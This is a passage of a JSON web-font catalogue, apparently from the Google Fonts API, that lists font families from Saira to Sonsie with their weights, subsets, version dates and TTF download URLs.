f","regular":"http://fonts.gstatic.com/s/saira/v5/memwYa2wxmKQyOkgR5IdU6Uf.ttf","500":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNHUbrYVeLkWVNBt.ttf","600":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNH4abYVeLkWVNBt.ttf","700":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGcaLYVeLkWVNBt.ttf","800":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGAa7YVeLkWVNBt.ttf","900":"http://fonts.gstatic.com/s/saira/v5/mem9Ya2wxmKQyNGkarYVeLkWVNBt.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRMQgErUN8XuHNEtX81i9TmEkrnwetA2omSrzS8.ttf","200":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnbcpg8Keepi2lHw.ttf","300":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnCclg8Keepi2lHw.ttf","regular":"http://fonts.gstatic.com/s/sairacondensed/v6/EJROQgErUN8XuHNEtX81i9TmEkrfpeFE-IyCrw.ttf","500":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnUchg8Keepi2lHw.ttf","600":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnfc9g8Keepi2lHw.ttf","700":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnGc5g8Keepi2lHw.ttf","800":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnBc1g8Keepi2lHw.ttf","900":"http://fonts.gstatic.com/s/sairacondensed/v6/EJRLQgErUN8XuHNEtX81i9TmEkrnIcxg8Keepi2lHw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Extra Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFsOHYr-vcC7h8MklGBkrvmUG9rbpkisrTri0jx9i5ss3a3.ttf","200":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrJ2nR3ABgum-uoQ.ttf","300":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrQ2rR3ABgum-uoQ.ttf","regular":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFiOHYr-vcC7h8MklGBkrvmUG9rbpkisrTT70L11Ct8sw.ttf","500":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrG2vR3ABgum-uoQ.ttf","600":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrN2zR3ABgum-uoQ.ttf","700":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrU23R3ABgum-uoQ.ttf","800":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTrT27R3ABgum-uoQ.ttf","900":"http://fonts.gstatic.com/s/sairaextracondensed/v6/-nFvOHYr-vcC7h8MklGBkrvmUG9rbpkisrTra2_R3ABgum-uoQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Semi Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MN6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXdvaOM8rXT-8V8.ttf","200":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfDScMWg3j36Ebz.ttf","300":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXenSsMWg3j36Ebz.ttf","regular":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MD6c-2-nnJkHxyCjRcnMHcWVWV1cWRRU8LYuceqGT-.ttf","500":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXf_S8MWg3j36Ebz.ttf","600":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXfTTMMWg3j36Ebz.ttf","700":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXe3TcMWg3j36Ebz.ttf","800":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXerTsMWg3j36Ebz.ttf","900":"http://fonts.gstatic.com/s/sairasemicondensed/v6/U9MM6c-2-nnJkHxyCjRcnMHcWVWV1cWRRXePT8MWg3j36Ebz.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Saira Stencil One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sairastencilone/v2/SLXSc03I6HkvZGJ1GvvipLoYSTEL9AsMawif2YQ2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Salsa","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/salsa/v10/gNMKW3FiRpKj-imY8ncKEZez.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sanchez","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sanchez/v8/Ycm2sZJORluHnXbITm5b_BwE1l0.ttf","italic":"http://fonts.gstatic.com/s/sanchez/v8/Ycm0sZJORluHnXbIfmxR-D4Bxl3gkw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sancreek","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sancreek/v11/pxiHypAnsdxUm159X7D-XV9NEe-K.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sansita","variants":["regular","italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sansita/v5/QldONTRRphEb_-V7HBm7TXFf3qw.ttf","italic":"http://fonts.gstatic.com/s/sansita/v5/QldMNTRRphEb_-V7LBuxSVNazqx2xg.ttf","700":"http://fonts.gstatic.com/s/sansita/v5/QldLNTRRphEb_-V7JKWUaXl0wqVv3_g.ttf","700italic":"http://fonts.gstatic.com/s/sansita/v5/QldJNTRRphEb_-V7LBuJ9Xx-xodqz_joDQ.ttf","800":"http://fonts.gstatic.com/s/sansita/v5/QldLNTRRphEb_-V7JLmXaXl0wqVv3_g.ttf","800italic":"http://fonts.gstatic.com/s/sansita/v5/QldJNTRRphEb_-V7LBuJ6X9-xodqz_joDQ.ttf","900":"http://fonts.gstatic.com/s/sansita/v5/QldLNTRRphEb_-V7JJ2WaXl0wqVv3_g.ttf","900italic":"http://fonts.gstatic.com/s/sansita/v5/QldJNTRRphEb_-V7LBuJzX5-xodqz_joDQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sansita Swashed","variants":["300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-09-29","files":{"300":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW-ppbToVehmEa4Q.ttf","regular":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW7RpbToVehmEa4Q.ttf","500":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW4ZpbToVehmEa4Q.ttf","600":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW2pubToVehmEa4Q.ttf","700":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSW1NubToVehmEa4Q.ttf","800":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSWzRubToVehmEa4Q.ttf","900":"http://fonts.gstatic.com/s/sansitaswashed/v1/BXR8vFfZifTZgFlDDLgNkBydPKTt3pVCeYWqJnZSWx1ubToVehmEa4Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sarabun","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v8","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/sarabun/v8/DtVhJx26TKEr37c9YHZJmnYI5gnOpg.ttf","100italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVnJx26TKEr37c9aBBx_nwMxAzephhN.ttf","200":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YNpoulwm6gDXvwE.ttf","200italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxUl0s7iLSrwFUlw.ttf","300":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YL5rulwm6gDXvwE.ttf","300italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxNl4s7iLSrwFUlw.ttf","regular":"http://fonts.gstatic.com/s/sarabun/v8/DtVjJx26TKEr37c9WBJDnlQN9gk.ttf","italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVhJx26TKEr37c9aBBJmnYI5gnOpg.ttf","500":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YOZqulwm6gDXvwE.ttf","500italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxbl8s7iLSrwFUlw.ttf","600":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YMptulwm6gDXvwE.ttf","600italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxQlgs7iLSrwFUlw.ttf","700":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YK5sulwm6gDXvwE.ttf","700italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxJlks7iLSrwFUlw.ttf","800":"http://fonts.gstatic.com/s/sarabun/v8/DtVmJx26TKEr37c9YLJvulwm6gDXvwE.ttf","800italic":"http://fonts.gstatic.com/s/sarabun/v8/DtVkJx26TKEr37c9aBBxOlos7iLSrwFUlw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sarala","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/sarala/v4/uK_y4riEZv4o1w9RCh0TMv6EXw.ttf","700":"http://fonts.gstatic.com/s/sarala/v4/uK_x4riEZv4o1w9ptjI3OtWYVkMpXA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sarina","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sarina/v9/-F6wfjF3ITQwasLhLkDUriBQxw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sarpanch","variants":["regular","500","600","700","800","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sarpanch/v6/hESy6Xt4NCpRuk6Pzh2ARIrX_20n.ttf","500":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziV0ba7f1HEuRHkM.ttf","600":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziVYaq7f1HEuRHkM.ttf","700":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziU8a67f1HEuRHkM.ttf","800":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziUgaK7f1HEuRHkM.ttf","900":"http://fonts.gstatic.com/s/sarpanch/v6/hES16Xt4NCpRuk6PziUEaa7f1HEuRHkM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Satisfy","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/satisfy/v11/rP2Hp2yn6lkG50LoOZSCHBeHFl0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sawarabi Gothic","variants":["regular"],"subsets":["cyrillic","japanese","latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/sawarabigothic/v8/x3d4ckfVaqqa-BEj-I9mE65u3k3NBSk3E2YljQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sawarabi Mincho","variants":["regular"],"subsets":["japanese","latin","latin-ext"],"version":"v10","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/sawarabimincho/v10/8QIRdiDaitzr7brc8ahpxt6GcIJTLahP46UDUw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Scada","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/scada/v9/RLpxK5Pv5qumeWJoxzUobkvv.ttf","italic":"http://fonts.gstatic.com/s/scada/v9/RLp_K5Pv5qumeVJqzTEKa1vvffg.ttf","700":"http://fonts.gstatic.com/s/scada/v9/RLp8K5Pv5qumeVrU6BEgRVfmZOE5.ttf","700italic":"http://fonts.gstatic.com/s/scada/v9/RLp6K5Pv5qumeVJq9Y0lT1PEYfE5p6g.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Scheherazade","variants":["regular","700"],"subsets":["arabic","latin"],"version":"v19","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/scheherazade/v19/YA9Ur0yF4ETZN60keViq1kQgt5OohvbJ9A.ttf","700":"http://fonts.gstatic.com/s/scheherazade/v19/YA9Lr0yF4ETZN60keViq1kQYC7yMjt3V_dB0Yw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Schoolbell","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/schoolbell/v11/92zQtBZWOrcgoe-fgnJIVxIQ6mRqfiQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Scope One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/scopeone/v7/WBLnrEXKYFlGHrOKmGD1W0_MJMGxiQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Seaweed Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/seaweedscript/v8/bx6cNx6Tne2pxOATYE8C_Rsoe0WJ-KcGVbLW.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Secular One","variants":["regular"],"subsets":["hebrew","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/secularone/v5/8QINdiTajsj_87rMuMdKypDlMul7LJpK.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sedgwick Ave","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sedgwickave/v6/uK_04rKEYuguzAcSYRdWTJq8Xmg1Vcf5JA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sedgwick Ave Display","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sedgwickavedisplay/v6/xfuu0XPgU3jZPUoUo3ScvmPi-NapQ8OxM2czd-YnOzUD.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Sen","variants":["regular","700","800"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sen/v2/6xKjdSxYI9_Hm_-MImrpLQ.ttf","700":"http://fonts.gstatic.com/s/sen/v2/6xKudSxYI9__J9CoKkH1JHUQSQ.ttf","800":"http://fonts.gstatic.com/s/sen/v2/6xKudSxYI9__O9OoKkH1JHUQSQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sevillana","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sevillana/v9/KFOlCnWFscmDt1Bfiy1vAx05IsDqlA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Seymour One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/seymourone/v8/4iCp6Khla9xbjQpoWGGd0myIPYBvgpUI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Shadows Into Light","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/shadowsintolight/v10/UqyNK9UOIntux_czAvDQx_ZcHqZXBNQDcsr4xzSMYA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Shadows Into Light Two","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/shadowsintolighttwo/v8/4iC86LVlZsRSjQhpWGedwyOoW-0A6_kpsyNmlAvNGLNnIF0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Shanti","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/shanti/v12/t5thIREMM4uSDgzgU0ezpKfwzA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Share","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/share/v11/i7dEIFliZjKNF5VNHLq2cV5d.ttf","italic":"http://fonts.gstatic.com/s/share/v11/i7dKIFliZjKNF6VPFr6UdE5dWFM.ttf","700":"http://fonts.gstatic.com/s/share/v11/i7dJIFliZjKNF63xM56-WkJUQUq7.ttf","700italic":"http://fonts.gstatic.com/s/share/v11/i7dPIFliZjKNF6VPLgK7UEZ2RFq7AwU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Share Tech","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sharetech/v10/7cHtv4Uyi5K0OeZ7bohUwHoDmTcibrA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Share Tech Mono","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sharetechmono/v10/J7aHnp1uDWRBEqV98dVQztYldFc7pAsEIc3Xew.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Shojumaru","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/shojumaru/v8/rax_HiWfutkLLnaKCtlMBBJek0vA8A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Short Stack","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/shortstack/v10/bMrzmS2X6p0jZC6EcmPFX-SScX8D0nq6.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Shrikhand","variants":["regular"],"subsets":["gujarati","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/shrikhand/v6/a8IbNovtLWfR7T7bMJwbBIiQ0zhMtA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Siemreap","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/siemreap/v13/Gg82N5oFbgLvHAfNl2YbnA8DLXpe.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sigmar One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sigmarone/v11/co3DmWZ8kjZuErj9Ta3dk6Pjp3Di8U0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Signika","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-07-15","files":{"300":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tIJHJbGhs_cfKe1.ttf","regular":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tJXHJbGhs_cfKe1.ttf","500":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tJlHJbGhs_cfKe1.ttf","600":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tKJG5bGhs_cfKe1.ttf","700":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tKwG5bGhs_cfKe1.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Signika Negative","variants":["300","regular","600","700"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/signikanegative/v11/E217_cfngu7HiRpPX3ZpNE4kY5zKal6DipHD6z_iXAs.ttf","regular":"http://fonts.gstatic.com/s/signikanegative/v11/E218_cfngu7HiRpPX3ZpNE4kY5zKUvKrrpno9zY.ttf","600":"http://fonts.gstatic.com/s/signikanegative/v11/E217_cfngu7HiRpPX3ZpNE4kY5zKaiqFipHD6z_iXAs.ttf","700":"http://fonts.gstatic.com/s/signikanegative/v11/E217_cfngu7HiRpPX3ZpNE4kY5zKak6EipHD6z_iXAs.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Simonetta","variants":["regular","italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/simonetta/v11/x3dickHVYrCU5BU15c4BfPACvy_1BA.ttf","italic":"http://fonts.gstatic.com/s/simonetta/v11/x3dkckHVYrCU5BU15c4xfvoGnSrlBBsy.ttf","900":"http://fonts.gstatic.com/s/simonetta/v11/x3dnckHVYrCU5BU15c45-N0mtwTpDQIrGg.ttf","900italic":"http://fonts.gstatic.com/s/simonetta/v11/x3d5ckHVYrCU5BU15c4xfsKCsA7tLwc7Gn88.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Single Day","variants":["regular"],"subsets":["korean"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/singleday/v2/LYjHdGDjlEgoAcF95EI5jVoFUNfeQJU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sintony","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sintony/v8/XoHm2YDqR7-98cVUITQnu98ojjs.ttf","700":"http://fonts.gstatic.com/s/sintony/v8/XoHj2YDqR7-98cVUGYgIn9cDkjLp6C8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sirin Stencil","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sirinstencil/v9/mem4YaWwznmLx-lzGfN7MdRydchGBq6al6o.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Six Caps","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sixcaps/v11/6ae_4KGrU7VR7bNmabcS9XXaPCop.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Skranji","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/skranji/v8/OZpDg_dtriVFNerMYzuuklTm3Ek.ttf","700":"http://fonts.gstatic.com/s/skranji/v8/OZpGg_dtriVFNerMW4eBtlzNwED-b4g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Slabo 13px","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/slabo13px/v8/11hEGp_azEvXZUdSBzzRcKer2wkYnvI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Slabo 27px","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/slabo27px/v7/mFT0WbgBwKPR_Z4hGN2qsxgJ1EJ7i90.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Slackey","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/slackey/v11/N0bV2SdQO-5yM0-dKlRaJdbWgdY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Smokum","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/smokum/v11/TK3iWkUbAhopmrdGHjUHte5fKg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Smythe","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/smythe/v11/MwQ3bhT01--coT1BOLh_uGInjA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sniglet","variants":["regular","800"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sniglet/v12/cIf9MaFLtkE3UjaJxCmrYGkHgIs.ttf","800":"http://fonts.gstatic.com/s/sniglet/v12/cIf4MaFLtkE3UjaJ_ImHRGEsnIJkWL4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Snippet","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/snippet/v10/bWt47f7XfQH9Gupu2v_Afcp9QWc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Snowburst One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/snowburstone/v8/MQpS-WezKdujBsXY3B7I-UT7eZ-UPyacPbo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sofadi One","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sofadione/v9/JIA2UVBxdnVBuElZaMFGcDOIETkmYDU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sofia","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sofia/v9/8QIHdirahM3j_vu-sowsrqjk.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Solway","variants":["300","regular","500","700","800"],"subsets":["latin"],"version":"v3","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCuLlgZms0QW3mqyg.ttf","regular":"http://fonts.gstatic.com/s/solway/v3/AMOQz46Cs2uTAOCWgnA9kuYMUg.ttf","500":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCudlkZms0QW3mqyg.ttf","700":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCuPl8Zms0QW3mqyg.ttf","800":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCuIlwZms0QW3mqyg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Song Myung","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/songmyung/v8/1cX2aUDWAJH5-EIC7DIhr1GqhcitzeM.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sonsie 